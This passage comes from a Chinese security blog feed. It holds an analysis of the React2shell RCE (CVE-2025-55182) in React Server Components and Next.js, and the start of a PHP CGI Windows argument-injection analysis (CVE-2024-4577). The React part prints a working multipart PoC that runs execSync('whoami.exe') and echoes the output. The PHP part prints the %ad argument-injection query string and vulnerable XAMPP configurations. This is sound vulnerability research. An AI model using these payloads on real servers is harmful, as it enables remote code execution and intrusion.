class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">Chunk.prototype.then = <span class="function"><span class="keyword">function</span> &lt;<span class="title">T</span>&gt;(<span class="params"></span></span></span><br><span class="line"><span class="function"><span class="params">  this: SomeChunk&lt;T&gt;,</span></span></span><br><span class="line"><span class="function"><span class="params">  resolve: (value: T</span>) =&gt; <span class="title">mixed</span>,</span></span><br><span class="line"><span class="function">  <span class="title">reject</span>: (<span class="params">reason: mixed</span>) =&gt; <span class="title">mixed</span>,</span></span><br><span class="line"><span class="function">) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> chunk: SomeChunk&lt;T&gt; = <span class="keyword">this</span>;</span><br><span class="line">  <span class="keyword">switch</span> (chunk.status) &#123;</span><br><span class="line">    <span class="keyword">case</span> RESOLVED_MODEL:</span><br><span class="line">      initializeModelChunk(chunk);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">switch</span> (chunk.status) &#123;</span><br><span class="line">    <span class="keyword">case</span> INITIALIZED:</span><br><span class="line">      resolve(chunk.value);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> PENDING:</span><br><span class="line">    <span class="keyword">case</span> BLOCKED:</span><br><span class="line">    <span class="keyword">case</span> CYCLIC:</span><br><span class="line">      <span class="keyword">if</span> (resolve) &#123;</span><br><span class="line">        <span class="keyword">if</span> (chunk.value === <span class="literal">null</span>) &#123;</span><br><span class="line">          chunk.value = <span class="function">(<span class="params">[]: <span class="built_in">Array</span>&lt;(T</span>) =&gt;</span> mixed&gt;);</span><br><span class="line">        &#125;</span><br><span class="line">        chunk.value.push(resolve);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (reject) &#123;</span><br><span class="line">        <span class="keyword">if</span> (chunk.reason === <span class="literal">null</span>) &#123;</span><br><span class="line">          chunk.reason = <span class="function">(<span class="params">[]: <span class="built_in">Array</span>&lt;(mixed</span>) =&gt;</span> mixed&gt;);</span><br><span class="line">        &#125;</span><br><span class="line">        chunk.reason.push(reject);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      reject(chunk.reason);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>此时Chunk的status为RESOLVED_MODEL，所以走到initializeModelChunk方法初始化对象。</p><p>initializeModelChunk中对发送的请求做解析处理，解析完成之后会把status修改成INITIALIZED。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826223.png" alt=""></p><p>在reviveModel中，会解析_response的内容，当请求为string类型时，会有一段额外的指令处理逻辑，其实对应的就是前面Flight协议的类型标识</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827137.png" alt=""></p><p>这里比较重要的有几个</p><ul><li>$@后跟id，可以递归获取其他id的Chunk对象，这个后面会提到的漏洞利用涉及到的点之一</li><li>$B后跟id，可以获取对应formData中对应key的value，可控内容来源</li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827228.png" alt=""></p><p>如果第一个字符是$，但是后续没有走到对应的分支，将会在最终进入getOutlinedModel</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827993.png" alt=""></p><p>在getOutlinedModel中，将会把$符号之后的内容按照<code>:</code>分割</p><p>分割后的第一段为Chunk的id，进入getChunk</p><p><strong>后续根据Chunk的状态进入处理，依次遍历所有的path并赋值给value，这里也是触发漏洞的位置。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827778.png" alt=""></p><p>这里结合poc可能会更有感觉一些</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">poc的核心部分：$<span class="number">1</span>:__proto__:then</span><br><span class="line">获得id为<span class="number">1</span>的Chunk对象，并且获得对应的value</span><br><span class="line">value2 = value[<span class="string">"__proto__"</span>]</span><br><span class="line">value3 = value2[<span class="string">"then"</span>] = value[<span class="string">"__proto__"</span>][<span class="string">"then"</span>]</span><br></pre></td></tr></table></figure><p>这样一来通过原型链就可以访问任意对象的属性，那么如何用这个漏洞来实现RCE呢？</p><p>这其实涉及到一个JS的特性，其实JS的非常多各种对象都是来源于同一个原型，这也是为什么JS的原型链污染问题层出不穷，就比如说很多对象向上找都会追溯到Function对象。</p><p>就比如<code>[].constructor.constructor</code>就是一个Function对象，操作这个对象就可以实现任意代码执行。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827625.png" alt=""></p><p>在这个基础上我们如何读取都知道了，你怎么如何操作呢，如果我们非常简单的直接链式调用读取Function，就会遇到这样一个问题，假设请求内容为</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"0"</span></span><br><span class="line"></span><br><span class="line">&#123;<span class="string">"then"</span>:<span class="string">"$1:constructor:constructor"</span>&#125;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"1"</span></span><br><span class="line"></span><br><span class="line">[]</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</span><br></pre></td></tr></table></figure><p>此时会出现这样一个问题</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、getChunk(<span class="number">0</span>)</span><br><span class="line"><span class="number">2</span>、getOutlinedModel中通过分割path并且遍历getChunk(<span class="number">1</span>)，返回value为[]的Chunk对象</span><br><span class="line"><span class="number">3</span>、最终value为[].constructor.constructor也就是<span class="built_in">Function</span>对象</span><br><span class="line"><span class="number">4</span>、那么此时返回上层then的是<span class="built_in">Function</span>对象，由于<span class="built_in">Function</span>不是一个<span class="built_in">Promise</span>对象，无法继续执行</span><br></pre></td></tr></table></figure><p>那唯一的办法就是要让最后返回的对象也是一个Chunk对象。</p><p>这就涉及到了一个前面提到过的知识，就是<code>$@</code></p><ul><li>$@后跟id，可以递归获取其他id的Chunk对象</li></ul><p>那这里我们尝试用一个嵌套递归逻辑来实现返回一个Chunk对象</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"0"</span></span><br><span class="line"></span><br><span class="line">&#123;<span class="string">"then"</span>: <span class="string">"$1:then"</span>&#125;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"1"</span></span><br><span class="line"></span><br><span class="line"><span class="string">"$@0"</span></span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br></pre></td></tr></table></figure><p>来看看这个请求的处理逻辑</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、getChunk(<span class="number">0</span>)</span><br><span class="line"><span class="number">2</span>、getOutlinedModel中通过分割path并且进入getChunk(<span class="number">1</span>)</span><br><span class="line"><span class="number">3</span>、@<span class="number">0</span> 触发第二次getChunk(<span class="number">0</span>)，返回的是Chunk0的实例</span><br><span class="line"><span class="number">4</span>、返回到getOutlinedModel进入遍历，此时value对应为Chunk0的实例，<span class="keyword">return</span>的就是Chunk对象</span><br><span class="line"><span class="number">5</span>、最终<span class="keyword">await</span>触发Chunk0的then方法</span><br></pre></td></tr></table></figure><p>这里我们理明白这套嵌套逻辑之后，其实还有一个问题，这就涉及到前面提到的另一个点</p><ul><li>$B后跟id，可以获取对应formData中对应key的value，可控内容来源</li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="string">'B'</span>: &#123;</span><br><span class="line">  <span class="comment">// Blob</span></span><br><span class="line">  <span class="keyword">const</span> id = <span class="built_in">parseInt</span>(value.slice(<span class="number">2</span>), <span class="number">16</span>);</span><br><span class="line">  <span class="keyword">const</span> prefix = response._prefix;</span><br><span class="line">  <span class="keyword">const</span> blobKey = prefix + id;</span><br><span class="line">  <span class="keyword">const</span> backingEntry: Blob = (response._formData.get(blobKey): any);</span><br><span class="line">  <span class="keyword">return</span> backingEntry;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而_prefix作为response中的可控部分，通过控制_prefix就可以指定blobKey的前半部分内容，此时如果我们通过原型链污染把get修改为Function，就可以顺利成章的触发<code>Function(exp)</code></p><p>这里我们直接拿公开的poc来看利用逻辑</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"0"</span></span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    <span class="string">"then"</span>: <span class="string">"$1:__proto__:then"</span>, </span><br><span class="line">    <span class="string">"status"</span>: <span class="string">"resolved_model"</span>, </span><br><span class="line">    <span class="string">"reason"</span>: <span class="number">-1</span>, </span><br><span class="line">    <span class="string">"value"</span>: <span class="string">"&#123;\"then\":\"$B1337\"&#125;"</span>, </span><br><span class="line">    <span class="string">"_response"</span>: &#123;</span><br><span class="line">        <span class="string">"_prefix"</span>: <span class="string">"var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),&#123;digest: `NEXT_REDIRECT;push;/login?a=$&#123;res&#125;;307;`&#125;);"</span>, </span><br><span class="line">        <span class="string">"_formData"</span>: &#123;</span><br><span class="line">            <span class="string">"get"</span>: <span class="string">"$1:constructor:constructor"</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"1"</span></span><br><span class="line"></span><br><span class="line"><span class="string">"$@0"</span></span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</span><br></pre></td></tr></table></figure><p>处理逻辑如下</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、getChunk(<span class="number">0</span>)</span><br><span class="line"><span class="number">2</span>、getOutlinedModel中分割Chunk0的then内容，$<span class="number">1</span>:__proto__:then被处理为Chunk1，path内容为[__proto__, then]</span><br><span class="line"><span class="number">3</span>、触发getChunk(<span class="number">1</span>)</span><br><span class="line"><span class="number">4</span>、在Chunk1中检测到$@<span class="number">0</span>，于是获得Chunk0的实例，返回给Chunk1的value</span><br><span class="line"><span class="number">5</span>、回到第一次getOutlinedModel中，Chunk0的value最终为Chunk0.__proto__.then</span><br><span class="line"><span class="number">6</span>、回到最上层触发then，此时处理内容为<span class="string">"&#123;\"then\":\"$B1337\"&#125;"</span></span><br><span class="line"><span class="number">7</span>、检测到$B，此时</span><br><span class="line">    prefix为<span class="string">"var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),&#123;digest: `NEXT_REDIRECT;push;/login?a=$&#123;res&#125;;307;`&#125;);"</span></span><br><span class="line">    id为<span class="number">1337</span></span><br><span class="line">    最终拼接获得prefix + id</span><br><span class="line"><span class="number">8</span>、触发_formData.get，参数为prefix + id</span><br><span class="line"><span class="number">9</span>、<span class="keyword">get</span>对应的value是"$1:<span class="keyword">constructor</span>:<span class="keyword">constructor</span>"，$1对应getChunk1，也就是前面的Chunk0实例</span><br><span class="line">10、由于Chunk本身也是一个Function，所以他的<span class="keyword">constructor</span>.<span class="keyword">constructor</span>也是Function</span><br><span class="line">11、等于此时触发Function(prefix + id)，触发代码执行</span><br></pre></td></tr></table></figure><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827124.png" alt=""></p><p>这里也稍微看下exp的构造，其实主要是为了回显，exp如下</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> res=process.mainModule.require(<span class="string">'child_process'</span>).execSync(<span class="string">'whoami.exe'</span>).toString().trim();</span><br><span class="line"><span class="keyword">throw</span> <span class="built_in">Object</span>.assign(<span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'NEXT_REDIRECT'</span>),&#123;<span class="attr">digest</span>: <span class="string">`NEXT_REDIRECT;push;/login?a=<span class="subst">$&#123;res&#125;</span>;307;`</span>&#125;);</span><br></pre></td></tr></table></figure><p>按照前面的利用链来说，如果我们直接使用childprocess执行命令，那么命令会执行，但Flight的后续逻辑会走不下去，程序就卡住了。</p><p>那我们就需要手动抛出一个错误来终止程序，而React相关的代码逻辑中，如果digest有内容，他就会返回到页面内，也就是说我们可以通过手动抛出错误并控制digest内容来获取命令执行的返回。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311828634.png" alt=""></p><p>到这里利用闭环，不但可以实现命令执行，还可以获得回显。</p><h1 id="关于补丁"><a href="#关于补丁" class="headerlink" title="关于补丁"></a>关于补丁</h1><ul><li><a href="https://github.com/facebook/react/pull/35277" target="_blank" rel="noopener">https://github.com/facebook/react/pull/35277</a></li></ul><p>React关于漏洞的补丁很搞笑的是和其他的业务更新合并到了一起，这一点在github上有很多人吐槽，这也导致补丁内容非常乱，实际的漏洞修复在ReactFlightReplyServer.js的部分改动中。</p><p>主要的修复有这么几处</p><p>首先是声明了一个特殊的类型为Symbol的常量RESPONSE_SYMBOL作为response的key</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311828205.png" alt=""></p><p>后续所有关于response的引用都修改成了通过RESPONSE_SYMBOL来引用，而json_parse无法实现Symbol类型，也就无法影响reponse的内容。</p><p>还有一个是hasOwnProperty的检查，补丁中在包括getOutlinedModel在内的value处理中加入了hasOwnProperty，这样你就无法去获取原型链中未定义的属性。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311828040.png" alt=""></p><p>其实还有一些别的改动影响到了原利用链，但就像前面说的补丁内容牵扯到的更新太多，补丁非常乱就不细扣了。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>作为2025年的收官漏洞，同时也是4年一次难得一见的通用组件通杀漏洞，能见证并分析这种漏洞有很多感受，感叹漏洞的影响力，感叹利用链的精巧，感叹漏洞公开者的魄力。</p><p>时间走到2026年，这些年探索的更多都是安全+，很少有能深入探究漏洞本身的时候，也希望面对充满未知的2026，能保留安全研究的初心。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2025年12月3日，时隔4年，安全圈又一个通杀环境的核弹漏洞被公开，CVSS评分10.0，影响范围React 19+全版本，Next.js 15/16，无条件默认环境RCE漏洞，史称React2shell。&lt;/p&gt;
&lt;p&gt;该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现，在3号被公开&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最早的版本大家讨论的结论是，只有使用rsc作为后端的环境才会受到漏洞的利用，主要原因还是受到了最早版本poc的影响，也就是ejpir专门构造的漏洞环境和poc。&lt;/p&gt;
&lt;p&gt;但是很快maple3142在12月5日发布了真正的poc&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在更快的时间内，next.js默认环境全版本通杀直接影响了以dify为代表的许多平台，一下子引爆了漏洞的影响范围，漏洞正式进入2阶段，大范围利用以及企业内部自查阶段。&lt;/p&gt;</summary>
    
    
    
    
    <category term="rce" scheme="https://lorexxar.cn/tags/rce/"/>
    
    <category term="react2shell" scheme="https://lorexxar.cn/tags/react2shell/"/>
    
  </entry>
  
  <entry>
    <title>PHP CGI Windows平台远程代码执行漏洞（CVE-2024-4577）分析与复现</title>
    <link href="https://lorexxar.cn/2024/06/11/phpcgi-rce/"/>
    <id>https://lorexxar.cn/2024/06/11/phpcgi-rce/</id>
    <published>2024-06-11T01:52:10.000Z</published>
    <updated>2024-06-11T02:02:35.000Z</updated>
    
    <content type="html"><![CDATA[<p>在2024.6.6今天，@Orange在他的博客发布了他即将在2024年8月Black Hat USA公开的议题《<strong>Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!</strong>》</p><ul><li><a href="https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227" target="_blank" rel="noopener">https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227</a></li></ul><p>伴随着议题的发布，今天在DEVCORE的官方博客发布了一个漏洞通报，也就是存在于<strong>windows特殊场景下的PHP CGI远程代码执行漏洞</strong></p><ul><li><a href="https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/" target="_blank" rel="noopener">https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/</a></li></ul><p>接下来看看漏洞的详情</p><a id="more"></a><h1 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h1><p><strong>CVE-2024-4577</strong>导致漏洞产生的本质其实是<a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8" target="_blank" rel="noopener">Windows系统内字符编码转换的Best-Fit特性</a>导致的，相对来说<strong>PHP</strong>在这个漏洞里更像是一个受害者。</p><p>由于Windows系统内字符编码转换的Best-Fit特性导致<strong>PHP原本的安全限制被绕过</strong>，再加上一些<strong>特殊的PHP CGI环境</strong>配置导致了这个问题，最终导致漏洞利用的算是一些PHP的小技巧。</p><h2 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h2><p>这个漏洞理论上影响PHP的所有版本</p><ul><li>PHP 8.3 &lt; 8.3.8</li><li>PHP 8.2 &lt; 8.2.20</li><li>PHP 8.1 &lt; 8.1.29</li></ul><p>除此之外的其他PHP版本官方已经不再维护了，包括PHP8.0、PHP7、PHP5在内，但是<strong>理论上来说他们都受到这个影响。</strong></p><h2 id="漏洞利用条件"><a href="#漏洞利用条件" class="headerlink" title="漏洞利用条件"></a>漏洞利用条件</h2><h3 id="Windows系统内字符编码转换的Best-Fit特性"><a href="#Windows系统内字符编码转换的Best-Fit特性" class="headerlink" title="Windows系统内字符编码转换的Best-Fit特性"></a>Windows系统内字符编码转换的Best-Fit特性</h3><p>前面提到过，这个漏洞的利用前提是由于Windows系统内字符编码转换的Best-Fit特性，所以第一个前提条件就是</p><ul><li>必须是<strong>Window环境</strong></li></ul><p>其次由于这个特性，windows必须使用以下其中之一的语言系统</p><ul><li><strong>繁体中文</strong> (字码页 950)</li><li><strong>简体中文</strong> (字码页 936)</li><li><strong>日文</strong> (字码页 932)</li></ul><p>而且除了这3个以外，其他的语言也不能完全排除影响，凡是存在该特性的的系统都受到影响。</p><p><strong>那什么是Best-Fit呢？或者说，为什么是Best-Fit？</strong></p><p>说白了其实就是windows对于不同编码字符集之间转化的一个特性，可能大家对于Best-Fit很陌生，如果换一个词叫做宽字节，我想大家就会很熟悉了，说白了就是<strong>一些特殊字符在特殊字符集下转化就会转成一个正常的字符</strong></p><p>而这里用到的就是%ad</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957711.png" alt="img"></p><p>而这个正常的字符就是<code>-</code>，我们可以结合php的源码来看，为什么这个<code>-</code>很重要</p><p><a href="https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798" target="_blank" rel="noopener">https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798</a></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957598.png" alt="img"></p><p>在php的代码当中其实原本就过滤了-这个符号，在新的commit当中还加入了<strong>对0x80以上的所有字符的限制来修复</strong>这个问题。在代码的注释当中有这么一段话来解释这个问题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Something is wrong with the XAMPP installation :-(</span><br><span class="line">Apache CGI will pass the query string to the command line if it doesn&#39;t contain a &#39;&#x3D;&#39;.</span><br><span class="line">This can create an issue where a malicious request can pass command line arguments to</span><br><span class="line">the executable. Ideally we skip argument parsing when we&#39;re in cgi or fastcgi mode,</span><br><span class="line">but that breaks PHP scripts on Linux with a hashbang: &#96;#!&#x2F;php-cgi -d option&#x3D;value&#96;.</span><br><span class="line">Therefore, this code only prevents passing arguments if the query string starts with a &#39;-&#39;.</span><br><span class="line">Similarly, scripts spawned in subprocesses on Windows may have the same issue.</span><br></pre></td></tr></table></figure><p>如果get发送的请求字符串中不包含”=”，那么<strong>Apache就会把请求传到命令行作为cgi的参数</strong>。但这会导致恶意请求就可以将命令行参数传递给php，如果直接处理传参，那么会影响到以独立脚本方式运行的PHP脚本。所以只有<strong>当开头是-的时候(跳过所有空白符号)才阻止传递参数</strong>。</p><p>而这个漏洞在2012年的时候就被曝光出来，就是CVE-2012-1823</p><p><a href="https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html</a></p><p>当我们用%ad来代替-之后，参数传递没有被阻止，就构成了<strong>参数注入</strong>。</p><p>而PHP和Apache的环境就会更特殊一点儿，其实在2024年你很难找到类似的环境，但是很有趣的是，<strong>XAMPP For Windows的默认环境就受到这个漏洞的影响。</strong></p><p>而相对更具体的受影响的场景有两个</p><h3 id="以CGI模式运行的PHP环境"><a href="#以CGI模式运行的PHP环境" class="headerlink" title="以CGI模式运行的PHP环境"></a>以CGI模式运行的PHP环境</h3><p>首先不得不说，这是一个非常非常少见的场景，在2024年你几乎没办法找到一个<strong>直接以CGI模式运行的PHP环境</strong>，而且也没人会去做这样的修改。</p><p>如果你想要改出类似的设定你需要加入以下的配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">AddHandler cgi-script .php</span><br><span class="line">Action cgi-script &quot;&#x2F;cgi-bin&#x2F;php-cgi.exe&quot;</span><br></pre></td></tr></table></figure><p>或者类似于</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;FilesMatch &quot;\.php$&quot;&gt;</span><br><span class="line">    SetHandler application&#x2F;x-httpd-php-cgi</span><br><span class="line">&lt;&#x2F;FilesMatch&gt;</span><br><span class="line"></span><br><span class="line">Action application&#x2F;x-httpd-php-cgi &quot;&#x2F;php-cgi&#x2F;php-cgi.exe&quot;</span><br></pre></td></tr></table></figure><p>在XMAPP的默认配置当中，这部分代码也是被注释的，如果你想要测试这种利用<strong>需要在httpd-xampp.conf中注释解开下面这段代码</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#</span><br><span class="line"># PHP-CGI setup</span><br><span class="line">#</span><br><span class="line">&lt;FilesMatch &quot;\.php$&quot;&gt;</span><br><span class="line">    SetHandler application&#x2F;x-httpd-php-cgi</span><br><span class="line">&lt;&#x2F;FilesMatch&gt;</span><br><span class="line">&lt;IfModule actions_module&gt;</span><br><span class="line">    Action application&#x2F;x-httpd-php-cgi &quot;&#x2F;php-cgi&#x2F;php-cgi.exe&quot;</span><br><span class="line">&lt;&#x2F;IfModule&gt;</span><br></pre></td></tr></table></figure><p>上面这些配置处理的都是一个类似的场景，就是apache会<strong>把请求直接转发给php-cgi</strong>。</p><p>结合上面的特性，你可以通过传%ad来传入一个<code>-</code>，这样在-之后的部分就会成为<strong>php-cgi的参数</strong>，构成<strong>参数注入</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957918.png" alt="img"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%add+allow_url_include%3don+%add+auto_prepend_file%3dphp:&#x2F;&#x2F;input</span><br></pre></td></tr></table></figure><p>会变成</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-d allow_url_include&#x3D;on -d auto_prepend_file&#x3D;php:&#x2F;&#x2F;input</span><br></pre></td></tr></table></figure><p>构成参数注入导致<strong>最终的任意代码执行</strong>。</p><h3 id="将PHP的执行程序暴露在外-XAMPP默认配置"><a href="#将PHP的执行程序暴露在外-XAMPP默认配置" class="headerlink" title="将PHP的执行程序暴露在外 - XAMPP默认配置"></a>将PHP的执行程序暴露在外 - XAMPP默认配置</h3><p>这个场景要特别一些，相比直接把PHP的二进制直接放在web目录下，可能更常见的还是x<strong>ampp的默认配置。</strong></p><p>在httpd-xampp.conf中就可以找到这一串代码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">ScriptAlias &#x2F;php-cgi&#x2F; &quot;D:&#x2F;xampp&#x2F;php&#x2F;&quot;</span><br><span class="line">&lt;Directory &quot;D:&#x2F;xampp&#x2F;php&quot;&gt;</span><br><span class="line">    AllowOverride None</span><br><span class="line">    Options None</span><br><span class="line">    Require all denied</span><br><span class="line">    &lt;Files &quot;php-cgi.exe&quot;&gt;</span><br><span class="line">          Require all 